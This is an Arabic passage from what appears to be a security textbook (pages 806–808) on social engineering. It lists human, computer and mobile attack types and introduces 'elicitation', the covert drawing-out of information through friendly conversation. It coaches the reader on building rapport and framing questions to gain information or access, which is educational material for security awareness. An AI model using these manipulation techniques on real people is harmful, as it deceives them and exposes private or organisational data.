‫ﺗﺣدﯾد ھدف‪ ،‬ﻻ ﺷﻲء ﺿﺎر‪ ،‬ﻣﺛل اﻟﺣﺻول ﻋﻠﻰ ﺷﺧص ﻣﺎ ﻟﯾواﻓﻖ ﻋﻠﻰ ﻋطﻠﺔ ﻓﻲ ﺑﻘﻌﮫ ﻣﺧﺗﻠﻔﺔ أو ﻟﻠذھﺎب إﻟﻰ ﻣطﻌم ﺗﺣﺑﮫ وﯾﻛره ﺷرﯾك‬
‫ﺣﯾﺎﺗك‪ ،‬أو أن ﺗﺳﻣﺢ ﻟك ﻟﻘﺿﺎء ﺑﻌض اﻟﻣﺎل ﻋﻠﻰ ﺷﻲء ﻛﻧت ﻋﺎدة ﻻ ﺗطﻠﺑﮫ‪ .‬ﻛل ﻣﺎ ھو ﻟك اﻟﺧروج ﻣﻊ‪ ،‬اﻟﻛﺗﺎﺑﺔ ﺧﺎرج ﻣﻛوﻧﺎت اﻻﺗﺻﺎﻻت‬
‫اﻟﺧﻣﺳﺔ وﻣن ﺛم ﻧرى ﺟﯾدا ﻛﯾف ﯾذھب اﻻﺗﺻﺎل ﻋﻧدﻣﺎ ﯾﻛون ﻟدﯾك ﺧطﺔ ﻣﻛﺗوﺑﺔ‪ .‬ﺳوف ﺗﺟد أن أھداﻓك واﺿﺣﺔ اﻟﻣﻌﺎﻟم‪ ،‬ﯾﻣﻛﻧك اﺧﺗﺑﺎر أﻓﺿل‬
‫طرق اﻟﺗواﺻل اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﺧﺎﺻﺔ ﺑك‪ ،‬وﺗﻛون ﻗﺎدرا ﻋﻠﻰ ﺗﺣﻘﯾﻖ أھداﻓك ﺑﺳﮭوﻟﺔ أﻛﺑر‪ .‬ﻗﺎﺋﻣﺔ اﻟﻧﻘﺎط اﻟﺧﻣس اﻟﺗﺎﻟﯾﺔ ﻣلء واﺣدا ﺗﻠو‬
‫اﻵﺧر‪ ،‬ورﺑط اﻟﻧﻘﺎط ﻣﻊ ﺑﻌﺿﮭﺎ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪806‬‬

‫‪ -‬اﻟﻣﺻدر )‪(Source‬‬
‫‪ -‬اﻟرﺳﺎﻟﺔ )‪(Message‬‬
‫‪ -‬اﻟﻘﻧﺎة )‪(Channel‬‬
‫‪ -‬اﻟﻣﺳﺗﻘﺑل )‪(receiver‬‬
‫‪ -‬ﻣﻼﺣظﺎﺗك )‪(Feedback‬‬
‫ﻧﻣوذج اﻻﺗﺻﺎﻻت ﯾﻌطﻲ ﻣﻌﻠوﻣﺎت ﻗﯾﻣﺔ ﺟدا وﺑدون ذﻟك‪ ،‬ﻓﺈن ﻣﻌظم اﻻﺗﺻﺎﻻت ﻻ ﺗﻛون ﻧﺎﺟﺣﺔ ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ .‬ﻛﻣﺎ ذﻛر ﺳﺎﺑﻘﺎ‪ ،‬ﻓﺎن‬
‫ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت ھﻲ ﺟوھر ﻛل ﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ ،‬وﻟﻛن إذا أﺻﺑﺣت ﺑﺎرﻋﺎ ﻓﻲ ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت وﻛﻧت ﻗﺎدرا ﻋﻠﻰ ﺟﻣﻊ ﻛﻣﯾﺎت ﻣذھﻠﺔ ﻣن‬
‫اﻟﺑﯾﺎﻧﺎت وﻟﻛن ﻻ ﺗﻌرف ﻛﯾﻔﯾﺔ اﺳﺗﺧداﻣﮫ‪ ،‬ﻓﯾﻌﺗﺑر ﻣﺿﯾﻌﮫ ﻟﻠوﻗت‪ .‬ﺗﻌﻠم ﻟﺗﺻﺑﺢ ﻋﻠﻰ درﺟﺔ اﻟﻣﺎﺟﺳﺗﯾر ﻓﻲ ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت وﻣن ﺛم ﺿﻊ ذﻟك ﻓﻲ‬
‫ﻣﻣﺎرﺳﺔ اﻟﻌﻣل ﻣﻊ ﻧﻣﺎذج اﻻﺗﺻﺎﻻت‪ .‬ھذا ھو ﻣﺟرد اﻟﺑداﯾﺔ‪ ،‬وﻟﻛن ﯾﻣﻛن ﺗﻐﯾﯾر اﻟطرﯾﻘﺔ اﻟﺗﻲ ﺗﻌﺎﻣل ﺑﮭﺎ ﻣﻊ اﻟﻧﺎس ﻋﻠﻰ ﺣد ﺳواء ﻛﻣﮭﻧدس‬
‫اﺟﺗﻣﺎﻋﻲ ﻓﻲ اﻟﺳﯾﺎﻗﺎت اﻟﯾوﻣﯾﺔ‪.‬‬

‫أﺣد اﻟﺟواﻧب اﻟرﺋﯾﺳﯾﺔ ﻟﺗﻌﻠم ﻛﯾﻔﯾﺔ اﻟﺗواﺻل‪ ،‬وﻛﯾﻔﯾﺔ اﻟﺗﻌﺎﻣل ﻣﻌﮭﺎ‪ ،‬وﻛﯾف ﯾﻛون ﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ھو ﺗﻌﻠم ﻛﯾﻔﯾﺔ اﺳﺗﺧدام اﻷﺳﺋﻠﺔ‪.‬‬

‫أﻧواع اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ )‪(Types Of Social Engineering‬‬

‫ﻓﻲ ھﺟوم اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬ﯾﺳﺗﺧدم اﻟﻣﮭﺎﺟم اﻟﻣﮭﺎرات اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟﻠﺗﺣﺎﯾل ﻋﻠﻰ اﻟﺿﺣﯾﺔ ﺑﻐرض ﻛﺷف ﻣﻌﻠوﻣﺎت ﺷﺧﺻﯾﺔ ﻣﺛل أرﻗﺎم‬
‫ﺑطﺎﻗﺎت اﻻﺋﺗﻣﺎن وأرﻗﺎم اﻟﺣﺳﺎﺑﺎت اﻟﻣﺻرﻓﯾﺔ وأرﻗﺎم اﻟﮭﺎﺗف‪ ،‬أو ﻣﻌﻠوﻣﺎت ﺳرﯾﺔ ﻋن ﻣﻧظﻣﺗﮭم أو ﻧظﺎم اﻟﻛﻣﺑﯾوﺗر‪ ،‬وذﻟك ﺑﺎﺳﺗﺧداﻣﮭم إﻣﺎ‬
‫ﻹطﻼق اﻟﮭﺟوم أو اﻻﺣﺗﯾﺎل‪ .‬ﯾﻣﻛن ﺗﻘﺳﯾم اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻋﻠﻰ ﻧطﺎق واﺳﻊ إﻟﻰ ﺛﻼﺛﺔ أﻧواع‪ :‬اﺳﺗﻧﺎدا اﻻ اﻻﻧﺳﺎن‪ ،‬اﺳﺗﻧﺎدا اﻟﻰ اﻟﺣﺎﺳوب‪،‬‬
‫اﺳﺗﻧﺎدا اﻟﻰ ‪.mobile‬‬

‫ھﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻣﺳﺗﻧدة إﻟﻰ اﻹﻧﺳﺎن )‪(Human-Based Social Engineering‬‬

‫اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻘﺎﺋﻣﺔ ﻋﻠﻰ اﻹﻧﺳﺎن ﺗﻧطوي ﻋﻠﻰ اﻟﺗﻔﺎﻋل ﻣﻊ اﻹﻧﺳﺎن ﺑطرﯾﻘﺔ أو ﺑﺄﺧرى‪ .‬ﻣن ﺧﻼل اﻟﺗﻔﺎﻋل ﻣﻊ اﻟﺿﺣﯾﺔ‪ ،‬اﻟﻣﮭﺎﺟم ﯾﺟﻣﻊ‬
‫اﻟﻣﻌﻠوﻣﺎت اﻟﻣطﻠوﺑﺔ ﻋن اﻟﻣﻧظﻣﺔ‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻋن طرﯾﻖ اﻧﺗﺣﺎل ﺷﺧﺻﯾﺔ ‪ IT‬ﻟﻠدﻋم اﻟﻔﻧﻲ‪ ،‬ﯾﻣﻛن ﻟﻠﻣﮭﺎﺟم اﻟﺣﺻول ﻋﻠﻰ اﻟوﺻول‬
‫ﺑﺳﮭوﻟﮫ إﻟﻰ ﻏرﻓﺔ اﻟﺧﺎدم‪ .‬وﻓﯾﻣﺎ ﯾﻠﻲ اﻟطرق اﻟﺗﻲ ﯾﻣﻛن أن ﺗؤدي ھﺟوم اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻘﺎﺋﻣﺔ ﻋﻠﻰ اﻹﻧﺳﺎن‪:‬‬

‫اﻟﺗظﺎھر ﺑﺄﻧﮫ اﻟﻣﺳﺗﺧدم اﻟﻧﮭﺎﺋﻲ اﻟﻣﺷروع‪.‬‬ ‫‪-‬‬

‫اﻟﺗظﺎھر ﺑﺎﻧﮫ ﻣﺳﺗﺧدم ھﺎم‪.‬‬ ‫‪-‬‬
‫ﻣﺗﻧﻛرﯾن ﻓﻲ زي اﻟدﻋم اﻟﻔﻧﻲ‪.‬‬ ‫‪-‬‬

‫ھﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻘﺎﺋﻣﺔ ﻋﻠﻰ اﻟﺣﺎﺳوب‬

‫اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻣﺳﺗﻧدة اﻟﻰ اﻟﺣﺎﺳوب ﺗﻌﺗﻣد ﻋﻠﻰ أﺟﮭزة اﻟﻛﻣﺑﯾوﺗر وأﻧظﻣﺔ اﻹﻧﺗرﻧت ﻟﺗﻧﻔﯾذ اﻹﺟراء اﻟﻣﺳﺗﮭدف‪ .‬وﻓﯾﻣﺎ ﯾﻠﻲ اﻟطرق اﻟﺗﻲ‬
‫ﯾﻣﻛن أن ﯾؤدي اﻟﻣﮭﺎﺟم اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻣﻌﺗﻣدة ﻋﻠﻰ اﻟﻛﻣﺑﯾوﺗر‪:‬‬
‫‪ -‬اﻟﺗﺻﯾد )‪.(Phishing‬‬
‫‪ -‬اﻟﺑرﯾد اﻟوھﻣﻲ‪.‬‬
‫‪ -‬ھﺟﻣﺎت اﻟﻧﺎﻓذة اﻟﻣﻧﺑﺛﻘﺔ )‪(Pop-up window attacks‬‬

‫ھﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻣﺳﺗﻧدة ﻋﻠﻰ اﻟﮭﺎﺗف اﻟﺟوال‬

‫اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻣﺳﺗﻧدة إﻟﻰ اﻟﮭﺎﺗف اﻟﺟوال ﺗﺗم ﻋن طرﯾﻖ اﻟﻣﺳﺎﻋدة ﻣن ﺗطﺑﯾﻘﺎت اﻟﺟوال‪ .‬اﻟﻣﮭﺎﺟﻣﯾن ﯾﻘوﻣون ﺑﺈﻧﺷﺎء ﺗطﺑﯾﻘﺎت ﺧﺑﯾﺛﺔ ﻣﻊ‬
‫ﻣﯾزات ﺟذاﺑﺔ وأﺳﻣﺎء ﻣﺷﺎﺑﮭﺔ ﻟﺗﻠك اﻟﺗطﺑﯾﻘﺎت ﺷﻌﺑﯾﺔ‪ ،‬وﻧﺷرھﺎ ﻓﻲ اﻟﻣﺗﺎﺟر اﻟﻛﺑرى ﻟﻠﺗطﺑﯾﻖ‪ .‬ﻋﻧدﻣﺎ ﯾﻘوم اﻟﻣﺳﺗﺧدم ﺑﺗﺣﻣﯾل ھذه اﻟﺗطﺑﯾﻘﺎت‪ ،‬ﻓﺎﻧﮫ‬
‫ﯾﺗم ﻣﮭﺎﺟﻣﺗﮫ ﻣن ﻗﺑل اﻟﺑرﻣﺟﯾﺎت اﻟﺧﺑﯾﺛﺔ‪ .‬وﻓﯾﻣﺎ ﯾﻠﻲ اﻟطرق اﻟﺗﻲ ﯾﻣﻛن أن ﺗؤدي ھﺟوم اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻘﺎﺋﻣﺔ ﻋﻠﻰ اﻟﻣﺣﻣول‪:‬‬
‫‪ -‬ﻧﺷر اﻟﺗطﺑﯾﻘﺎت اﻟﺧﺑﯾﺛﺔ‪.‬‬
‫‪ -‬إﻋﺎدة ﺗﺣزﯾم اﻟﺗطﺑﯾﻘﺎت اﻟﺷرﻋﯾﺔ‪.‬‬
‫‪ -‬ﺗطﺑﯾﻘﺎت اﻷﻣن اﻟوھﻣﯾﺔ‪.‬‬
‫‪ -‬ﺑﺎﺳﺗﺧدام رﺳﺎﺋل ‪.SMS‬‬
‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬
 ‫‪807‬‬

‫‪Human-Based Social Engineering: Elicitation‬‬

‫"اﻟﻔن اﻻﻋﻠﻰ ﻓﻲ اﻟﺣرب ھو اﺧﺿﺎع اﻟﻌدو دون ﻗﺗﺎل"‬

‫ﻛﺗﺎب ﻓن اﻟﺣروب ﻟﻠﻌﺑﻘري واﻟﻔﯾﻠﺳوف اﻟﻌﺳﻛري اﻟﺻﯾﻧﻲ ﺳون ﺗزو‬
‫أن ﺗﻛون ﻗﺎدر ﻋﻠﻰ رﺳم اﻟﻧﺎس ﺑﻔﻌﺎﻟﯾﺔ ھﻲ اﻟﻣﮭﺎرة اﻟﺗﻲ ﯾﻣﻛﻧﮭﺎ أن ﺗﺻﻧﻊ او ﺗُﻔﺷل اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ .‬ﻋﻧدﻣﺎ ﯾراك اﻟﻧﺎس وﯾﺗﺣدﺛون اﻟﯾك‬
‫ﻓﺎﻧﮫ ﯾﺟب أن ﯾﺷﻌروا ﺑﺎﻟراﺣﺔ وﯾرﯾدون ﻓﺗﺢ اﻟﻌدﯾد ﻣن اﻟﻣواﺿﯾﻊ‪ .‬ھل ﻗﺎﺑﻠت ﺷﺧص ﻣﺎ وﺷﻌرت‪" ،‬أﻧك ﺗﺣب ھذا اﻟﺷﺧص"؟ ﻟﻣﺎذا؟ ﻣﺎ اﻟذي‬
‫ﻓﻌﻠﮫ ﻟﯾﺟﻌﻠك ﺗﺷﻌر ﺑﮭذه اﻟطرﯾﻘﺔ؟ اﻛﺎﻧت اﺑﺗﺳﺎﻣﺗﮫ؟ اﻟطرﯾﻘﺔ اﻟﺗﻲ ﯾﻧظر إﻟﯾك ﺑﮭﺎ؟ اﻟطرﯾﻘﺔ اﻟﺗﻲ ﯾﻌﺎﻣﻠك ﺑﮭﺎ؟ ﻟﻐﺔ ﺟﺳده؟‬
‫رﺑﻣﺎ ﺣﺗﻰ اﻧﮫ ﯾﺑدو "ﻓﻲ ﺗﻧﺎﻏم" ﻣﻊ اﻷﻓﻛﺎر واﻟرﻏﺑﺎت اﻟﺧﺎﺻﺔ ﺑك‪ .‬اﻟطرﯾﻘﺔ اﻟﺗﻲ ﻧظر إﻟﯾك ﺑﮭﺎ وﻣن ﻏﯾر إﺻدار أﺣﻛﺎم وﻋﻠﻰ اﻟﻔور ﺷﻌرت‬
‫ﺑﺎﻟراﺣﺔ ﻣﻌﮫ‪.‬‬
‫اﻵن ﺗﺧﯾل أﻧﮫ ﯾﻣﻛن اﻻﺳﺗﻔﺎدة ﻣن ذﻟك وﺗﺻﺑﺢ ﻣﺗﻘن ﻟﺗﻠك اﻟﻘدرة‪ .‬ﻻ ﺗﺗﻐﺎﺿﻰ ﻋن ھذا اﻟﺟزء "ﻛﯾﻔﯾﺔ ﺑﻧﺎء اﻟﻌﻼﻗﺔ" ﺑﺎﻋﺗﺑﺎره ﺑﺳﯾط‪ .‬ھذا اﻟﻔﺻل‬
‫ھو ﺣول ‪ ،Elicitation‬وھﻲ ﺗﻘﻧﯾﺔ ﻗوﯾﺔ ﯾﺳﺗﺧدﻣﮭﺎ اﻟﺟواﺳﯾس‪ ،‬اﻟرﺟﺎل اﻟﻣﺧﺎدﻋون‪ ،‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ ،‬ﻛذﻟك اﻷطﺑﺎء واﻟﻣﻌﺎﻟﺟﯾن‪،‬‬
‫وﻣﻧﻔذي اﻟﻘﺎﻧون‪ ،‬وإذا ﻛﻧت ﺗرﯾد أن ﺗﻛون ﻣﺣﻣﻲ أو أن ﺗﻛون أﺳﺗﺎذا ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻓﺄﻧت ﺑﺣﺎﺟﺔ ﻹﺗﻘﺎن ھذه اﻟﻣﮭﺎرة‪ .‬ﻋﻧدﻣﺎ ﺗﺳﺗﺧدم‬
‫ﻋﻠﻰ ﻧﺣو ﻓﻌﺎل‪ ،‬ﻓﺎن ‪ Elicitation‬ﯾﻣﻛﻧﮫ اﺳﺗﻧﺑﺎط ﻧﺗﺎﺋﺞ ﻣذھﻠﺔ‪.‬‬

‫ﻣﺎ ھو ‪Elicitation‬؟‬
‫‪ Elicitation‬ﺗﻌﻧﻲ ﺟﻠب أو اﺳﺗﺧﻼص‪ ،‬أو اﻟوﺻول إﻟﻰ اﺳﺗﻧﺗﺎج )اﻟﺣﻘﯾﻘﺔ‪ ،‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل( ﻣن ﺧﻼل اﻟﻣﻧطﻖ‪ .‬ﺑدﻻ ﻣن ذﻟك‪ ،‬ﯾﺗم ﺗﻌرﯾﻔﮭﺎ‬
‫ﻋﻠﻰ أﻧﮫ اﻟﺗﺣﻔﯾز اﻟذي ﯾﻘوم ﺑﺎﺳﺗدﻋﺎء ﻓﺋﺔ ﻣﻌﯾﻧﺔ ﻣن اﻟﺳﻠوﻛﯾﺎت‪.‬‬
‫ﻓﻛر ﺟﯾدا ﻓﯾﻣﺎ ﯾﻌﻧﻰ ھذا‪ .‬ﺣﯾث اﻧﮫ ﻋﻧدﻣﺎ ﺗﻛون ﻗﺎدرا ﻋﻠﻰ اﺳﺗﺧدام اﻠ ‪ Elicitation‬ﻓﻌﻠﯾﺎ ﻓﺄﻧﮫ ﯾﻣﻛﻧك ﺻﯾﺎﻏﺔ اﻷﺳﺋﻠﺔ اﻟﺗﻲ ﺗوﺟﮫ اﻟﻰ اﻟﻧﺎس‬
‫ﻟﺗوﺟﯾﮭﮭم وﺗﺣﻔﯾزھم ﻻﺗﺧﺎذ ﻣﺳﺎر اﻟﺳﻠوك اﻟذي ﺗرﯾده‪ .‬ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ ،‬ﻣﺎذا ﯾﻌﻧﻲ ھذا؟ ﻛوﻧك ﺗﺳﺗﺧدم اﻠ ‪ Elicitation‬ﺑﻔﺎﻋﻠﯾﺔ ﻓﮭذا ﯾﻌﻧﻲ‬
‫أﻧﮫ ﯾﻣﻛﻧك ﺻﯾﺎﻏﺔ اﻟﻛﻠﻣﺎت واﻷﺳﺋﻠﺔ ﺑطرﯾﻘﺔ ﻣﺎ ﺗﻌزز ﻣن ﻣﺳﺗوى اﻟﻣﮭﺎرات اﻟﺧﺎﺻﺔ ﺑك إﻟﻰ ﻣﺳﺗوى ﺟدﯾد ﻛﻠﯾﺎ‪ .‬ﻣن وﺟﮭﺔ ﻧظر ﺟﻣﻊ‬
‫اﻟﻣﻌﻠوﻣﺎت‪ ،‬ﻓﺎن اﻠ ‪ Elicitation‬اﻟﺧﺑﯾر ﯾﻣﻛﻧﮫ ﺗرﺟﻣﺔ اﻟردود ﻋﻠﻰ ﻛل طﻠب ﺗﻧﺗظره ﻣن اﻟﮭدف )او ﺑﻣﻌﻧﻰ اﺧر ﻣﻌرﻓﺔ اﻹﺟﺎﺑﺔ ﻣن ﻗﺑل اﻟﮭدف‬
‫ﻣن ﻗﺑل ان ﯾﻌطﯾك اﻹﺟﺎﺑﺔ(‪.‬‬
‫أود أﺧذ ھذه اﻟﻣﻧﺎﻗﺷﺔ ﺧطوة اﻟﻰ اﻻﻣﺎم ﻷن اﻟﻌدﯾد ﻣن اﻟﺣﻛوﻣﺎت ﺗﻘوم ﺑﺗوﻋﯾﺔ وﺗﺣذﯾر ﻣوظﻔﯾﮭﺎ ﺿد ‪ Elicitation‬ﻷﻧﮫ ﺗﺳﺗﺧدم ﻣن ﻗﺑل‬
‫اﻟﺟواﺳﯾس ﻓﻲ ﺟﻣﯾﻊ أﻧﺣﺎء اﻷرض‪.‬‬
‫ﻓﻲ ﻣواد اﻟﺗدرﯾب‪ ،‬وﻛﺎﻟﺔ اﻷﻣن اﻟﻘوﻣﻲ اﻟﺧﺎﺻﺔ ﺑﺣﻛوﻣﺔ اﻟوﻻﯾﺎت اﻟﻣﺗﺣدة ﺗﻘوم ﺑﺗﻌرﯾف اﻠ ‪ Elicitation‬ﺑﺄﻧﮫ "اﻻﺳﺗﺧراج اﻟﺧﻔﻲ ﻟﻠﻣﻌﻠوﻣﺎت‬
‫أﺛﻧﺎء اﻟﻘﯾﺎم ﺑﻣﺣﺎدﺛﺔ ﺗﺑدو ﻋﺎدﯾﺔ وﺑرﯾﺋﺔ"‪ .‬ﺣﯾث ان ھذه اﻟﻣﺣﺎدﺛﺔ ﯾﻣﻛﻧﮭﺎ أن ﺗﺣدث ﻓﻲ أي ﻣﻛﺎن ﯾﻛون ﻓﯾﮫ اﻟﮭدف "اﻟﻣطﻌم‪ ،‬ﺻﺎﻟﺔ اﻷﻟﻌﺎب‬
‫اﻟرﯾﺎﺿﯾﺔ‪ ،‬ﺻﺎﻟﺔ اﻟرﻋﺎﯾﺔ وﻓﻲ أي ﻣﻛﺎن"‪ Elicitation .‬ﯾﻌﻣل ﺑﺷﻛل ﺟﯾد ﻷﻧﮭﺎ ﻗﻠﯾل اﻟﻣﺧﺎطر وﻏﺎﻟﺑﺎ ﯾﺻﻌب اﻛﺗﺷﺎﻓﮭﺎ‪ .‬ﺣﯾث ﻓﻲ ﻣﻌظم‬
‫اﻟوﻗت‪ ،‬اﻟﮭدف ﻻ ﯾﻌرف ﻓﻲ أي وﻗت ﻣﺿﻰ ﺟﺎء ﺗﺳرﯾب اﻟﻣﻌﻠوﻣﺎت ﻣﻧﮭﺎ‪ .‬ﺣﺗﻰ ﻟو ﻛﺎن ھﻧﺎك اﺷﺗﺑﺎه وﺟود أن ھﻧﺎك ﺑﻌض اﻟﻧواﯾﺎ اﻟﺧﺎطﺋﺔ‪.‬‬
‫وﺗم ﺗﻌرﯾﻔﮫ أﯾﺿﺎ ﻣن ﻗﺑل ﻣﻛﺗب اﻟﺗﺣﻘﯾﻘﺎت اﻟﻔدراﻟﻲ ﻋﻠﻰ أﻧﮫ اﻻﺳﺗﺧدام اﻻﺳﺗراﺗﯾﺟﻲ ﻟﻠﻣﺣﺎدﺛﺔ ﻻﺳﺗﺧراج اﻟﻣﻌﻠوﻣﺎت ﻣن اﻟﻧﺎس دون ﻣﻧﺣﮭم‬
‫اﻟﺷﻌور ﺑﺎﻧﮫ ﯾﺟري اﺳﺗﺟواﺑﮭم‪.‬‬

‫اﻠ ‪ Elicitation‬ﯾﻌﻣل ﺑﺷﻛل ﺟﯾد ﺟدا ﻟﻌدة أﺳﺑﺎب‪:‬‬

‫‪ -‬ﻣﻌظم اﻟﻧﺎس ﻟدﯾﮭم اﻟرﻏﺑﺔ ﻓﻲ أن ﯾﻛوﻧوا ﻣﮭذﺑﯾن وﻟطﻔﺎء‪ ،‬وﺧﺻوﺻﺎ ﻋﻧد ﻣﻘﺎﺑﻠﺔ اﻟﻐرﺑﺎء‪.‬‬
‫‪ -‬اﻟﻣﮭﻧﯾﯾن ﯾرﯾدون أن ﯾظﮭروا ﻋﻠﻰ ﻋﻠم ﺟﯾد وأذﻛﯾﺎء‪.‬‬
‫‪ -‬إذا ﺗم اﻹﺷﺎدة ﺑﮫ‪ ،‬ﻓﺎن ﺳوف ﯾﺗﺣدث ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن أﻛﺛر وﯾﻧﺗﺞ ﻋن ھذا اﻟﻛﺷف ﻋن أﻛﺛر ﻣن ذﻟك‪.‬‬
‫‪ -‬ﻣﻌظم اﻟﻧﺎس ﻻ ﺗﻛذب ﻣن أﺟل اﻟﻛذب‪.‬‬
‫‪ -‬ﻣﻌظم اﻟﻧﺎس ﺗﺳﺗﺟﯾب ﻟﻸﺷﺧﺎص اﻟذي ﯾظﮭر اﻟﻘﻠﻖ ﻋﻠﯾﮭم‪.‬‬
‫ھذه اﻟﻌواﻣل اﻷﺳﺎﺳﯾﺔ ﺣول ﻣﻌظم اﻟﺑﺷر ھﻲ اﻟﺳﺑب ﻓﻲ أن اﻠ ‪ Elicitation‬ﯾﻌﻣل ﺑﺷﻛل ﺟﯾد ﺟدا‪ .‬اﻟﺣﺻول ﻋﻠﻰ اﻷﺷﺧﺎص اﻟذﯾن ﯾﺗﺣدﺛون‬
‫ﻋن إﻧﺟﺎزاﺗﮭم ﺳﮭل ﺟدا‪ .‬اﻠ ‪ Elicitation‬ﻣﺷﺎﺑﮫ وﻣرﺗﺑط ﺑﻌﻣﻠﯾﺔ ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت‪ .‬ﯾﻘدم ھذا اﻟﺟزء طرﯾﻘﺔ ﻟﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت أﺳﮭل ﺑﻛﺛﯾر ﻣن‬
‫اﺳﺗﺧدام ‪) solid pretext‬ﺳوف ﺗﻧﺎﻗش ﻻﺣﻘﺎ( وﻣﮭﺎرات اﻠ ‪ Elicitation‬اﻟﺟﯾدة‪ .‬ﻣﮭﺎرات اﻠ ‪ Elicitation‬ھﻲ ﺟﻌل اﻷﺳﺋﻠﺔ ﺗﺗدﻓﻖ ﺑﺳﻼﺳﺔ‬
‫وﺟﻌل اﻟﮭدف ﯾﺷﻌر ﺑﺎﻟراﺣﺔ ﻟﻺﺟﺎﺑﺔ ﻋﻠﻰ اﻷﺳﺋﻠﺔ‪.‬‬
‫اﻟﻣﺣﺎدﺛﺔ اﻟﺑﺳﯾطﺔ واﻟﺧﻔﯾﻔﺔ‪ ،‬ھو ﻛل ﻣﺎ ﯾﻠزم ﻟﻠﺣﺻول ﻋﻠﻰ ﺑﻌض ﻣن أﻓﺿل اﻟﻣﻌﻠوﻣﺎت ﻣن ﻛﺛﯾر ﻣن اﻟﻧﺎس‪ .‬ﻛﻣﺎ ﻧوﻗﺷﺎ ﺣﺗﻰ اﻵن‪ ،‬ﻓﺎن ﺗﺣدﯾد‬
‫اﻻھداف ﺑوﺿوح ﻟﺗﺣﻘﯾﻖ أﻗﺻﻰ ﻗدر ﻣن اﻟﻧﺗﺎﺋﺞ أﻣر ﺣﯾوي‪ .‬ﻻ ﯾﺳﺗﺧدم اﻠ ‪ Elicitation‬ﻟﻣﺟرد ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت‪ ،‬وﻟﻛﻧﮫ ﯾﻣﻛن أن ﯾﺳﺗﺧدم‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪808‬‬

‫أﯾﺿﺎ ﻟﺗرﺳﯾﺦ ذرﯾﻌﺔ ﺧﺎﺻﮫ ﺑك‪ ،‬واﻟﺣﺻول ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت‪ .‬ﻛل ھذا ﯾﻌﺗﻣد ﻋﻠﻰ ﻧﻣوذج اﻠ ‪ Elicitation‬واﺿﺣﺔ اﻟﻣﻌﺎﻟم واﻟﻣدروﺳﺔ‪.‬‬

‫أھداف اﻠ ‪Elicitation‬‬
‫ﻣراﺟﻌﺔ ﺗﻌرﯾف اﻠ ‪ Elicitation‬ﯾﻣﻛﻧﮫ أن ﯾﻌطﯾك طرﯾﻘﺎ واﺿﺣﺎ ﻣﺎ ھﻲ أھداﻓك‪ .‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾرﯾد ﻣن اﻟﮭدف اﺗﺧﺎذ إﺟراء ﻣﺎ‪ ،‬ﺳواء‬
‫ﻛﺎن ھذا اﻻﺟراء ﺑﺳﯾط ﻣﺛل اﻹﺟﺎﺑﺔ ﻋﻠﻰ ﺳؤال أو ﻛﺑﯾر ﻣﺛل اﻟﺳﻣﺎح ﺑﺎﻟوﺻول إﻟﻰ ﻣﻧطﻘﺔ ﻣﺣظورة ﻣﻌﯾﻧﺔ‪ .‬ﻟﺟﻌل اﻟﮭدف ﯾﻣﺗﺛل ﻟك‪ ،‬ﻓﺈن‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾطرح ﺳﻠﺳﻠﺔ ﻣن اﻷﺳﺋﻠﺔ أو إﺟراء ﻣﺣﺎدﺛﺔ واﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ ﺗﺣﻔﯾز اﻟﮭدف ﻟﮭذا اﻟﻣﺳﺎر‪.‬‬
